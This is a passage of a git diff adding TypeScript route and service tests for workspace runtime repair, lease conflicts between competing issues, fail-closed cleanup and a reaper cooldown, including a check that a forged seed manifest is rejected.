+          version: 2,
+          source: {
+            instanceId: variant === "foreign_instance" || variant === "instance_mismatch"
+              ? "foreign-source"
+              : "repair-source",
+            configPath: diagnosticPath,
+          },
+          targetInstanceId: fixture.targetInstanceId,
+          state: "failed",
+          attemptId: "attacker-controlled",
+        }));
+
+        const res = await request(await createApp())
+          .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-commands/repair`)
+          .send({});
+
+        expect(res.status).toBe(422);
+        expect(res.body).toMatchObject({
+          code: "workspace_repair_precondition_failed",
+          reason: "source_registration_invalid",
+          repairPhase: "precondition_validation",
+        });
+        expect(mockSpawn).not.toHaveBeenCalled();
+        expect(mockStopRuntimeServicesForExecutionWorkspace).not.toHaveBeenCalled();
+        expect(mockWorkspaceOperationService.createRecorder).not.toHaveBeenCalled();
+        expect(mockWorkspaceOperationService.assertRuntimeControlAvailable).not.toHaveBeenCalled();
+      } finally {
+        fs.rmSync(attackerDir, { recursive: true, force: true });
+        removeRegisteredRepairFixture(fixture);
+      }
+    },
+  );
+
+  it("rejects repair when the execution workspace has no registered base workspace", async () => {
+    const workspaceCwd = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-route-repair-no-source-"));
+    try {
+      const configDir = path.join(workspaceCwd, ".paperclip");
+      fs.mkdirSync(configDir, { recursive: true });
+      fs.writeFileSync(path.join(configDir, "config.json"), "{}\n");
+      fs.writeFileSync(path.join(configDir, "seed-manifest.json"), JSON.stringify({
+        version: 2,
+        source: { instanceId: "source", configPath: path.join(workspaceCwd, "missing", "config.json") },
+        state: "failed",
+        attemptId: "previous",
+      }));
+      mockExecutionWorkspaceService.getById.mockResolvedValue(buildExecutionWorkspace({ cwd: workspaceCwd }));
+
+      const res = await request(await createApp())
+        .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-commands/repair`)
+        .send({});
+
+      expect(res.status).toBe(422);
+      expect(res.body).toMatchObject({
+        code: "workspace_repair_precondition_failed",
+        reason: "source_registration_invalid",
+        repairPhase: "precondition_validation",
+      });
+      expect(mockSpawn).not.toHaveBeenCalled();
+      expect(mockStopRuntimeServicesForExecutionWorkspace).not.toHaveBeenCalled();
+      expect(mockWorkspaceOperationService.assertRuntimeControlAvailable).not.toHaveBeenCalled();
+    } finally {
+      fs.rmSync(workspaceCwd, { recursive: true, force: true });
+    }
+  });
+
+  it("rejects repair when the registered base workspace has no runnable Paperclip CLI", async () => {
+    const fixture = createRegisteredRepairFixture("paperclip-route-repair-no-cli-", { withCli: false });
+    try {
+      const res = await request(await createApp())
+        .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-commands/repair`)
+        .send({});
+
+      expect(res.status).toBe(422);
+      expect(res.body).toMatchObject({
+        code: "workspace_repair_precondition_failed",
+        reason: "source_registration_invalid",
+        repairPhase: "precondition_validation",
+      });
+      expect(mockSpawn).not.toHaveBeenCalled();
+      expect(mockStopRuntimeServicesForExecutionWorkspace).not.toHaveBeenCalled();
+    } finally {
+      removeRegisteredRepairFixture(fixture);
+    }
+  });
+
+  it("returns 422 with a stable reason when the verified manifest names another instance", async () => {
+    const fixture = createRegisteredRepairFixture("paperclip-route-repair-wrong-instance-");
+    try {
+      mockVerifiedReseed(fixture, "another-workspace-instance");
+
+      const res = await request(await createApp())
+        .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-commands/repair`)
+        .send({});
+
+      expect(res.status).toBe(422);
+      expect(res.body).toMatchObject({
+        code: "workspace_repair_precondition_failed",
+        reason: "seed_manifest_instance_mismatch",
+        repairPhase: "full_reseed",
+      });
+      expect(mockStartRuntimeServices).not.toHaveBeenCalled();
+    } finally {
+      removeRegisteredRepairFixture(fixture);
+    }
+  });
+
+  it("uses the recorded instance pointer consistently for readiness, handoff, and repair", async () => {
+    const recordedInstanceId = "recorded-repair-instance";
+    const fixture = createRegisteredRepairFixture("paperclip-route-repair-success-", {
+      targetInstanceId: recordedInstanceId,
+    });
+    try {
+      const { deriveWorktreeInstanceId } = await import("../services/workspace-instance-cleanup.js");
+      const {
+        resolveManagedWorkspaceIdentity,
+        resolveManagedWorkspaceInstanceId,
+      } = await import("../services/managed-workspace-identity.js");
+      expect(deriveWorktreeInstanceId(fixture.workspaceCwd)).not.toBe(recordedInstanceId);
+      expect(resolveManagedWorkspaceInstanceId(fixture.workspaceCwd)).toBe(recordedInstanceId);
+      expect(resolveManagedWorkspaceIdentity({
+        workspaceCwd: fixture.workspaceCwd,
+        executionWorkspaceId,
+        companyId: "company-1",
+        env: { PAPERCLIP_WORKSPACE_HANDOFF_SECRET: "test-root-secret" },
+      })?.instanceId).toBe(recordedInstanceId);
+      mockEnsurePersistedExecutionWorkspaceAvailable.mockResolvedValue({ cwd: fixture.workspaceCwd });
+      mockStartRuntimeServices.mockResolvedValue([{
+        id: "service-1",
+        status: "running",
+        healthStatus: "healthy",
+      }]);
+      mockSpawn.mockImplementation((_command: string, args: string[], options: { env?: NodeJS.ProcessEnv }) => {
+        expect(args).toEqual(expect.arrayContaining([
+          "worktree", "reseed", "--from-config", fixture.sourceConfigPath,
+          "--seed-mode", "full", "--yes", "--backup-target",
+        ]));
+        expect(options.env).toMatchObject({
+          PAPERCLIP_SEED_EXPECTED_COMPANY_ID: "company-1",
+          PAPERCLIP_WORKSPACE_BASE_CWD: fixture.baseCwd,
+          PAPERCLIP_PROJECT_WORKSPACE_ID: projectWorkspaceId,
+        });
+        const child = new EventEmitter() as EventEmitter & {
+          stdout: PassThrough;
+          stderr: PassThrough;
+          kill: ReturnType<typeof vi.fn>;
+        };
+        child.stdout = new PassThrough();
+        child.stderr = new PassThrough();
+        child.kill = vi.fn();
+        queueMicrotask(() => {
+          fs.writeFileSync(path.join(fixture.configDir, "seed-manifest.json"), JSON.stringify({
+            version: 2,
+            source: { instanceId: "repair-source", configPath: fixture.sourceConfigPath },
+            snapshotAt: "2026-08-18T00:00:00.000Z",
+            seedMode: "full",
+            migrationRevision: "0142_test.sql",
+            targetInstanceId: recordedInstanceId,
+            phase: "complete",
+            state: "verified",
+            attemptId: "repair-attempt",
+            startedAt: "2026-08-18T00:00:00.000Z",
+            finishedAt: "2026-08-18T00:01:00.000Z",
+            diagnostics: [{ phase: "complete", status: "succeeded", at: "2026-08-18T00:01:00.000Z" }],
+          }));
+          child.emit("exit", 0);
+        });
+        return child;
+      });
+
+      const app = await createApp();
+      const res = await request(app)
+        .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-commands/repair`)
+        .send({});
+
+      expect(res.status).toBe(200);
+      expect(mockStopRuntimeServicesForExecutionWorkspace).toHaveBeenCalledWith(
+        expect.objectContaining({ executionWorkspaceId, workspaceCwd: fixture.workspaceCwd }),
+      );
+      expect(mockStartRuntimeServices).toHaveBeenCalledTimes(1);
+      expect(mockLogActivity).toHaveBeenCalledWith(
+        expect.anything(),
+        expect.objectContaining({ action: "execution_workspace.runtime_repair" }),
+      );
+    } finally {
+      removeRegisteredRepairFixture(fixture);
+    }
+  });
+
+  it("completes database-only repair when no managed runtime service is configured", async () => {
+    const fixture = createRegisteredRepairFixture("paperclip-route-repair-db-only-");
+    try {
+      mockExecutionWorkspaceService.getById.mockResolvedValue(buildExecutionWorkspace({
+        cwd: fixture.workspaceCwd,
+        projectId,
+        projectWorkspaceId,
+        config: { desiredState: "stopped" },
+      }));
+      mockListConfiguredRuntimeServiceEntries.mockReturnValue([]);
+      mockVerifiedReseed(fixture);
+
+      const app = await createApp();
+      const res = await request(app)
+        .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-commands/repair`)
+        .send({});
+
+      expect(res.status).toBe(200);
+      expect(mockStopRuntimeServicesForExecutionWorkspace).toHaveBeenCalledTimes(1);
+      expect(mockStartRuntimeServices).not.toHaveBeenCalled();
+      expect(mockBuildWorkspaceRuntimeDesiredStatePatch).toHaveBeenCalledWith(
+        expect.objectContaining({ action: "stop" }),
+      );
+    } finally {
+      removeRegisteredRepairFixture(fixture);
+    }
+  });
+
+  it("fails repair at the exact seed phase and leaves managed services stopped", async () => {
+    const fixture = createRegisteredRepairFixture("paperclip-route-repair-failure-");
+    try {
+      mockEnsurePersistedExecutionWorkspaceAvailable.mockResolvedValue({ cwd: fixture.workspaceCwd });
+      mockSpawn.mockImplementation(() => {
+        const child = new EventEmitter() as EventEmitter & {
+          stdout: PassThrough;
+          stderr: PassThrough;
+          kill: ReturnType<typeof vi.fn>;
+        };
+        child.stdout = new PassThrough();
+        child.stderr = new PassThrough();
+        child.kill = vi.fn();
+        queueMicrotask(() => {
+          fs.writeFileSync(path.join(fixture.configDir, "seed-manifest.json"), JSON.stringify({
+            version: 2,
+            source: { instanceId: "repair-source", configPath: fixture.sourceConfigPath },
+            targetInstanceId: fixture.targetInstanceId,
+            state: "failed",
+            phase: "restore",
+            attemptId: "repair-attempt",
+          }));
+          child.emit("exit", 4);
+        });
+        return child;
+      });
+
+      const progress: Array<Record<string, unknown>> = [];
+      mockWorkspaceOperationService.createRecorder.mockReturnValue({
+        attachExecutionWorkspaceId: vi.fn(),
+        recordOperation: async (input: any) => {
+          await input.run(async (entry: Record<string, unknown>) => {
+            progress.push(entry);
+          });
+        },
+      });
+      const app = await createApp();
+      const res = await request(app)
+        .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-commands/repair`)
+        .send({});
+
+      expect(res.status).toBe(500);
+      expect(res.body).toEqual({ error: "Internal server error" });
+      expect(progress).toEqual(expect.arrayContaining([
+        expect.objectContaining({ metadata: { seedFailurePhase: "restore" } }),
+      ]));
+      expect(mockStartRuntimeServices).not.toHaveBeenCalled();
+      expect(mockStopRuntimeServicesForExecutionWorkspace).toHaveBeenCalledTimes(2);
+    } finally {
+      removeRegisteredRepairFixture(fixture);
+    }
+  });
+
+  it("reconciles once when the operation's own time budget fails a start that never settles", async () => {
+    const { WorkspaceOperationTimeoutError } = await import("../services/workspace-operations.js");
+    // The recorder's ceiling fires outside `run`, so only the outer handler can reconcile.
+    mockWorkspaceOperationService.createRecorder.mockReturnValue({
+      attachExecutionWorkspaceId: vi.fn(),
+      recordOperation: async () => {
+        throw new WorkspaceOperationTimeoutError(1_000, "start");
+      },
+    });
+    const app = await createApp();
+
+    const res = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .send({});
+
+    expect(res.status).toBeGreaterThanOrEqual(400);
+    expect(mockStopRuntimeServicesForExecutionWorkspace).toHaveBeenCalledTimes(1);
+    expect(mockBuildWorkspaceRuntimeDesiredStatePatch).toHaveBeenCalledWith(
+      expect.objectContaining({ action: "stop" }),
+    );
+  });
+
+  it("leaves a successful start's desired state untouched by the failure path", async () => {
+    mockStartRuntimeServices.mockResolvedValue([{ id: "runtime-1" }]);
+    const app = await createApp();
+
+    const res = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .send({});
+
+    expect(res.status).toBeLessThan(400);
+    expect(mockStopRuntimeServicesForExecutionWorkspace).not.toHaveBeenCalled();
+    expect(mockBuildWorkspaceRuntimeDesiredStatePatch).not.toHaveBeenCalledWith(
+      expect.objectContaining({ action: "stop" }),
+    );
+  });
+});
diff --git a/server/src/__tests__/execution-workspace-runtime-lease-route.test.ts b/server/src/__tests__/execution-workspace-runtime-lease-route.test.ts
new file mode 100644
index 00000000000..0edc2ddeb22
--- /dev/null
+++ b/server/src/__tests__/execution-workspace-runtime-lease-route.test.ts
@@ -0,0 +1,351 @@
+import { randomUUID } from "node:crypto";
+import express from "express";
+import request from "supertest";
+import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  agents,
+  companies,
+  createDb,
+  executionWorkspaceRuntimeLeases,
+  executionWorkspaces,
+  issues,
+  projects,
+} from "@paperclipai/db";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+
+const mockExecutionWorkspaceService = vi.hoisted(() => ({
+  getById: vi.fn(),
+  update: vi.fn(),
+}));
+const mockAccessService = vi.hoisted(() => ({ decide: vi.fn(async () => ({ allowed: true })) }));
+const mockRecordOperation = vi.hoisted(() => vi.fn());
+const mockReconcileStaleRuntimeControlOperations = vi.hoisted(() => vi.fn(async () => ({ reconciled: 0, operationIds: [] })));
+// The control path recovers stranded operations and then refuses only a genuinely live one
+// (PAP-17249). This suite is about the durable lease, so availability always resolves.
+const mockAssertRuntimeControlAvailable = vi.hoisted(() => vi.fn(async () => undefined));
+const mockWorkspaceOperationService = vi.hoisted(() => ({
+  createRecorder: vi.fn(() => ({
+    attachExecutionWorkspaceId: vi.fn(),
+    recordOperation: mockRecordOperation,
+  })),
+  assertRuntimeControlAvailable: mockAssertRuntimeControlAvailable,
+  reconcileStaleRuntimeControlOperations: mockReconcileStaleRuntimeControlOperations,
+  listForExecutionWorkspace: vi.fn(async () => []),
+}));
+const mockStartRuntimeServices = vi.hoisted(() => vi.fn(async () => []));
+const mockStopRuntimeServices = vi.hoisted(() => vi.fn(async () => undefined));
+const mockAssertCanManage = vi.hoisted(() => vi.fn());
+const mockLogActivity = vi.hoisted(() => vi.fn());
+
+vi.mock("../services/index.js", async () => {
+  const leases = await import("../services/workspace-runtime-leases.js");
+  return {
+    accessService: () => mockAccessService,
+    executionWorkspaceService: () => mockExecutionWorkspaceService,
+    heartbeatService: () => ({}),
+    logActivity: mockLogActivity,
+    workspaceOperationService: () => mockWorkspaceOperationService,
+    workspaceRuntimeLeaseService: leases.workspaceRuntimeLeaseService,
+    LEASED_WORKSPACE_RUNTIME_ACTIONS: leases.LEASED_WORKSPACE_RUNTIME_ACTIONS,
+  };
+});
+
+vi.mock("../services/environment-runtime.js", () => ({
+  environmentRuntimeService: () => ({ destroyReusableSandboxLeases: vi.fn() }),
+}));
+
+vi.mock("../services/workspace-runtime.js", () => ({
+  buildWorkspaceRuntimeDesiredStatePatch: () => ({ desiredState: "running", serviceStates: null }),
+  cleanupExecutionWorkspaceArtifacts: vi.fn(),
+  ensurePersistedExecutionWorkspaceAvailable: vi.fn(async () => ({ cwd: "/tmp/lease-route-workspace" })),
+  listConfiguredRuntimeServiceEntries: () => [],
+  runWorkspaceJobForControl: vi.fn(),
+  startRuntimeServicesForWorkspaceControl: mockStartRuntimeServices,
+  stopRuntimeServicesForExecutionWorkspace: mockStopRuntimeServices,
+}));
+
+vi.mock("../routes/workspace-runtime-service-authz.js", () => ({
+  assertCanManageExecutionWorkspaceRuntimeServices: mockAssertCanManage,
+}));
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping runtime lease route tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+describeEmbeddedPostgres("execution workspace runtime control lease enforcement", () => {
+  let db!: ReturnType<typeof createDb>;
+  let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
+  let companyId = "";
+  let projectId = "";
+  let executionWorkspaceId = "";
+  let agentId = "";
+  let canaryIssueId = "";
+  let competingIssueId = "";
+
+  beforeAll(async () => {
+    tempDb = await startEmbeddedPostgresTestDatabase("paperclip-runtime-lease-route-");
+    db = createDb(tempDb.connectionString);
+  }, 30_000);
+
+  afterAll(async () => {
+    await tempDb?.cleanup();
+  });
+
+  beforeEach(async () => {
+    vi.clearAllMocks();
+    mockAccessService.decide.mockResolvedValue({ allowed: true } as never);
+    mockReconcileStaleRuntimeControlOperations.mockResolvedValue({ reconciled: 0, operationIds: [] } as never);
+    mockStartRuntimeServices.mockResolvedValue([] as never);
+    // Owner identity is read per-request from a header so concurrent requests cannot
+    // observe each other's authorization mock.
+    mockAssertCanManage.mockImplementation(async (_db: unknown, req: { get: (name: string) => string | undefined }) => ({
+      actorType: "agent",
+      agentId,
+      runId: null,
+      issueId: req.get("x-test-owner-issue") ?? null,
+    }));
+    mockRecordOperation.mockImplementation(async (input: { run: () => Promise<unknown> }) => {
+      await input.run();
+      return { id: randomUUID(), status: "succeeded" };
+    });
+
+    companyId = randomUUID();
+    projectId = randomUUID();
+    executionWorkspaceId = randomUUID();
+    agentId = randomUUID();
+    canaryIssueId = randomUUID();
+    competingIssueId = randomUUID();
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Runtime lease route",
+      issuePrefix: `R${companyId.replace(/-/g, "").slice(0, 7).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({ id: projectId, companyId, name: "Lane", status: "in_progress" });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "shared_workspace",
+      strategyType: "git_worktree",
+      name: "Shared canary workspace",
+      status: "active",
+      cwd: "/tmp/lease-route-workspace",
+    });
+    await db.insert(agents).values({ id: agentId, companyId, name: "Engineer", role: "engineer" });
+    await db.insert(issues).values([
+      {
+        id: canaryIssueId,
+        companyId,
+        projectId,
+        executionWorkspaceId,
+        title: "HTTPS canary",
+        status: "in_progress",
+        priority: "high",
+        assigneeAgentId: agentId,
+      },
+      {
+        id: competingIssueId,
+        companyId,
+        projectId,
+        executionWorkspaceId,
+        title: "Unrelated shared-workspace work",
+        status: "in_progress",
+        priority: "high",
+        assigneeAgentId: agentId,
+      },
+    ]);
+
+    mockExecutionWorkspaceService.getById.mockResolvedValue({
+      id: executionWorkspaceId,
+      companyId,
+      projectId: null,
+      projectWorkspaceId: null,
+      sourceIssueId: null,
+      mode: "shared_workspace",
+      strategyType: "git_worktree",
+      name: "Shared canary workspace",
+      status: "active",
+      cwd: "/tmp/lease-route-workspace",
+      repoUrl: null,
+      baseRef: "main",
+      branchName: null,
+      providerType: "git_worktree",
+      providerRef: null,
+      config: { workspaceRuntime: { command: "pnpm dev" } },
+      metadata: null,
+      runtimeServices: [],
+    } as never);
+    mockExecutionWorkspaceService.update.mockResolvedValue({ id: executionWorkspaceId } as never);
+  });
+
+  afterEach(async () => {
+    await db.delete(executionWorkspaceRuntimeLeases);
+    await db.delete(issues);
+    await db.delete(executionWorkspaces);
+    await db.delete(projects);
+    await db.delete(agents);
+    await db.delete(companies);
+  });
+
+  async function createApp() {
+    const [{ executionWorkspaceRoutes }, { errorHandler }] = await Promise.all([
+      import("../routes/execution-workspaces.js"),
+      import("../middleware/index.js"),
+    ]);
+    const app = express();
+    app.use(express.json());
+    app.use((req, _res, next) => {
+      (req as any).actor = {
+        type: "agent",
+        agentId,
+        companyId,
+        source: "agent_key",
+        runId: null,
+      };
+      next();
+    });
+    app.use("/api", executionWorkspaceRoutes(db as never));
+    app.use(errorHandler);
+    return app;
+  }
+
+  it("lets the lease owner start and restart, and blocks a sequential competing issue without mutating anything", async () => {
+    const app = await createApp();
+
+    const started = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .set("x-test-owner-issue", canaryIssueId)
+      .send({});
+    expect(started.status).toBe(200);
+    expect(mockStartRuntimeServices).toHaveBeenCalledTimes(1);
+
+    const restarted = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/restart`)
+      .set("x-test-owner-issue", canaryIssueId)
+      .send({});
+    expect(restarted.status).toBe(200);
+    expect(mockStartRuntimeServices).toHaveBeenCalledTimes(2);
+
+    mockRecordOperation.mockClear();
+    mockStartRuntimeServices.mockClear();
+    mockStopRuntimeServices.mockClear();
+    mockReconcileStaleRuntimeControlOperations.mockClear();
+
+    const blocked = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .set("x-test-owner-issue", competingIssueId)
+      .send({});
+
+    expect(blocked.status).toBe(409);
+    expect(blocked.body.code).toBe("workspace_runtime_lease_conflict");
+    expect(blocked.body.details).toMatchObject({
+      ownerIssueId: canaryIssueId,
+      requestedAction: "start",
+    });
+    expect(typeof blocked.body.remediation).toBe("string");
+
+    // No workspace operation, no runtime-service mutation, no reconciliation side effect.
+    expect(mockRecordOperation).not.toHaveBeenCalled();
+    expect(mockStartRuntimeServices).not.toHaveBeenCalled();
+    expect(mockStopRuntimeServices).not.toHaveBeenCalled();
+    expect(mockReconcileStaleRuntimeControlOperations).not.toHaveBeenCalled();
+
+    const rows = await db.select().from(executionWorkspaceRuntimeLeases);
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.ownerIssueId).toBe(canaryIssueId);
+  });
+
+  it("blocks a competing issue that races the owner concurrently", async () => {
+    const app = await createApp();
+
+    const ownerStart = request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .set("x-test-owner-issue", canaryIssueId)
+      .send({});
+    const competingStart = request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/stop`)
+      .set("x-test-owner-issue", competingIssueId)
+      .send({});
+
+    const [ownerRes, competingRes] = await Promise.all([ownerStart, competingStart]);
+
+    expect(ownerRes.status).toBe(200);
+    expect(competingRes.status).toBe(409);
+    expect(competingRes.body.code).toMatch(
+      /workspace_runtime_lease_conflict|workspace_runtime_control_in_progress/,
+    );
+    expect(mockStopRuntimeServices).not.toHaveBeenCalled();
+
+    const rows = await db.select().from(executionWorkspaceRuntimeLeases);
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.ownerIssueId).toBe(canaryIssueId);
+  });
+
+  it("lets a teardown issue take the lane once the canary issue is terminal", async () => {
+    const app = await createApp();
+
+    expect((await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .set("x-test-owner-issue", canaryIssueId)
+      .send({})).status).toBe(200);
+
+    const { eq } = await import("drizzle-orm");
+    await db.update(issues).set({ status: "done" }).where(eq(issues.id, canaryIssueId));
+
+    const teardown = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/stop`)
+      .set("x-test-owner-issue", competingIssueId)
+      .send({});
+
+    expect(teardown.status).toBe(200);
+    expect(mockStopRuntimeServices).toHaveBeenCalledTimes(1);
+
+    const rows = await db.select().from(executionWorkspaceRuntimeLeases);
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.ownerIssueId).toBe(competingIssueId);
+  });
+
+  it("leaves board actors unleased and unblocked", async () => {
+    const [{ executionWorkspaceRoutes }, { errorHandler }] = await Promise.all([
+      import("../routes/execution-workspaces.js"),
+      import("../middleware/index.js"),
+    ]);
+    mockAssertCanManage.mockResolvedValue({
+      actorType: "board",
+      agentId: null,
+      runId: null,
+      issueId: null,
+    } as never);
+    const app = express();
+    app.use(express.json());
+    app.use((req, _res, next) => {
+      (req as any).actor = {
+        type: "board",
+        userId: "board-1",
+        companyIds: [companyId],
+        source: "session",
+        isInstanceAdmin: false,
+      };
+      next();
+    });
+    app.use("/api", executionWorkspaceRoutes(db as never));
+    app.use(errorHandler);
+
+    const res = await request(app)
+      .post(`/api/execution-workspaces/${executionWorkspaceId}/runtime-services/start`)
+      .send({});
+
+    expect(res.status).toBe(200);
+    expect(await db.select().from(executionWorkspaceRuntimeLeases)).toHaveLength(0);
+  });
+});
diff --git a/server/src/__tests__/execution-workspaces-routes.test.ts b/server/src/__tests__/execution-workspaces-routes.test.ts
index d7f9913ce50..89111b9b0aa 100644
--- a/server/src/__tests__/execution-workspaces-routes.test.ts
+++ b/server/src/__tests__/execution-workspaces-routes.test.ts
@@ -19,6 +19,13 @@ const mockExecutionWorkspaceService = vi.hoisted(() => ({
 const mockWorkspaceOperationService = vi.hoisted(() => ({
   listForExecutionWorkspace: vi.fn(),
   createRecorder: vi.fn(),
+  assertRuntimeControlAvailable: vi.fn(async () => undefined),
+}));
+
+const mockWorkspaceRuntimeLeaseService = vi.hoisted(() => ({
+  claim: vi.fn(async () => ({ outcome: "created", ownerKey: "issue:issue-1", lease: null, reclaimedFrom: null })),
+  release: vi.fn(async () => ({ released: false, ownerKey: null })),
+  get: vi.fn(async () => null),
 }));
 
 const mockHeartbeatService = vi.hoisted(() => ({
@@ -40,6 +47,8 @@ vi.mock("../services/index.js", () => ({
   heartbeatService: () => mockHeartbeatService,
   logActivity: mockLogActivity,
   workspaceOperationService: () => mockWorkspaceOperationService,
+  workspaceRuntimeLeaseService: () => mockWorkspaceRuntimeLeaseService,
+  LEASED_WORKSPACE_RUNTIME_ACTIONS: ["start", "stop", "restart", "repair"],
 }));
 
 vi.mock("../services/environment-runtime.js", () => ({
diff --git a/server/src/__tests__/execution-workspaces-service.test.ts b/server/src/__tests__/execution-workspaces-service.test.ts
index 5c5a239897b..421525ab89e 100644
--- a/server/src/__tests__/execution-workspaces-service.test.ts
+++ b/server/src/__tests__/execution-workspaces-service.test.ts
@@ -43,6 +43,7 @@ import {
   startRuntimeServicesForWorkspaceControl,
   stopRuntimeServicesForExecutionWorkspace,
 } from "../services/workspace-runtime.ts";
+import { workspaceGitOperationScheduler } from "../services/workspace-git-operation-scheduler.ts";
 
 const execFileAsync = promisify(execFile);
 
@@ -258,6 +259,10 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
         pullRequestDetailsByKey.get(`${companyId}:${reference.number}`)
         ?? { state: "unknown", headRef: null, headSha: null }
       ),
+      // Disable the reaper cooldown for the delivery, terminal, race, and
+      // cleanup tests. They assert immediate reaping. The cooldown gets its own
+      // tests further down.
+      workspaceReaperCooldownDays: 0,
     });
   }, 20_000);
 
@@ -549,6 +554,54 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
     expect(workspace).toMatchObject({ status: "archived", cleanupReason: "issue_terminal" });
   }, 20_000);
 
+  it("fails closed before archive when git status inspection is unavailable", async () => {
+    const seeded = await seedAncestryTerminalWorkspace();
+    const statusSpy = vi.spyOn(workspaceGitOperationScheduler, "run")
+      .mockRejectedValue(new Error("scan queue unavailable"));
+
+    try {
+      const readiness = await svc.getCloseReadiness(seeded.executionWorkspaceId);
+      expect(readiness).toMatchObject({
+        state: "blocked",
+        isDestructiveCloseAllowed: false,
+        blockingReasons: [
+          "Paperclip could not verify the workspace git status. Retry before destructive cleanup.",
+        ],
+      });
+
+      const sweep = await svc.sweepTerminalWorkspaces();
+      expect(sweep).toMatchObject({ archived: 0, skippedUndelivered: 1 });
+      const [workspace] = await db
+        .select({ status: executionWorkspaces.status })
+        .from(executionWorkspaces)
+        .where(eq(executionWorkspaces.id, seeded.executionWorkspaceId));
+      expect(workspace?.status).toBe("active");
+      await expect(fs.access(seeded.worktreePath)).resolves.toBeUndefined();
+    } finally {
+      statusSpy.mockRestore();
+    }
+  }, 20_000);
+
+  it("fails the final cleanup fence when a later git status scan is unavailable", async () => {
+    const seeded = await seedAncestryTerminalWorkspace();
+    const originalRun = workspaceGitOperationScheduler.run.bind(workspaceGitOperationScheduler);
+    let statusScanCount = 0;
+    const statusSpy = vi.spyOn(workspaceGitOperationScheduler, "run")
+      .mockImplementation(async (input) => {
+        statusScanCount += 1;
+        if (statusScanCount > 1) throw new Error("scan timed out");
+        return originalRun(input);
+      });
+
+    try {
+      const sweep = await svc.sweepTerminalWorkspaces();
+      expect(sweep).toMatchObject({ archived: 0, cleanupFailed: 1 });
+      await expect(fs.access(seeded.worktreePath)).resolves.toBeUndefined();
+    } finally {
+      statusSpy.mockRestore();
+    }
+  }, 20_000);
+
   it("skips a sweep that starts while another sweep runs", async () => {
     // The scheduler can start a second sweep before the first one finishes. The
     // sweeps share the cursor and the boundary. A concurrent sweep must skip
@@ -638,6 +691,7 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
     // workspace first.
     const service = executionWorkspaceService(db, {
       resolvePullRequestDetails: async () => ({ state: "unknown", headRef: null, headSha: null }),
+      workspaceReaperCooldownDays: 0,
     });
 
     const firstSweep = await service.sweepTerminalWorkspaces(1);
@@ -678,6 +732,7 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
     const service = executionWorkspaceService(db, {
       resolvePullRequestDetails: async () => ({ state: "unknown", headRef: null, headSha: null }),
       now: () => new Date(clockMs),
+      workspaceReaperCooldownDays: 0,
     });
 
     // An eligible ancestry workspace with an old updatedAt. Its source issue
@@ -780,6 +835,105 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
     expect(finalState?.status).toBe("archived");
   }, 30_000);
 
+  describe("reaper cooldown", () => {
+    const DAY_MS = 24 * 60 * 60 * 1000;
+    const nowMs = Date.UTC(2026, 5, 1);
+
+    function cooldownService(cooldownDays: number) {
+      return executionWorkspaceService(db, {
+        resolvePullRequestDetails: async (companyId, reference) =>
+          pullRequestDetailsByKey.get(`${companyId}:${reference.number}`)
+          ?? { state: "unknown", headRef: null, headSha: null },
+        now: () => new Date(nowMs),
+        workspaceReaperCooldownDays: cooldownDays,
+      });
+    }
+
+    async function statusOf(executionWorkspaceId: string) {
+      const [row] = await db
+        .select({ status: executionWorkspaces.status })
+        .from(executionWorkspaces)
+        .where(eq(executionWorkspaces.id, executionWorkspaceId));
+      return row?.status ?? null;
+    }
+
+    it("skips a terminal tree that is younger than the cooldown", async () => {
+      const seeded = await seedTerminalWorkspace({ mergedPr: true });
+      // Keep the workspace inside the sweep boundary that the fixed clock sets.
+      await db
+        .update(executionWorkspaces)
+        .set({ updatedAt: new Date(nowMs - DAY_MS) })
+        .where(eq(executionWorkspaces.id, seeded.executionWorkspaceId));
+      // The issue became terminal one day ago. A cooldown of seven days is not
+      // over yet.
+      await db
+        .update(issues)
+        .set({ completedAt: new Date(nowMs - DAY_MS) })
+        .where(eq(issues.id, seeded.sourceIssueId));
+
+      const sweep = await cooldownService(7).sweepTerminalWorkspaces();
+
+      expect(sweep).toMatchObject({ archived: 0, skippedCooldown: 1 });
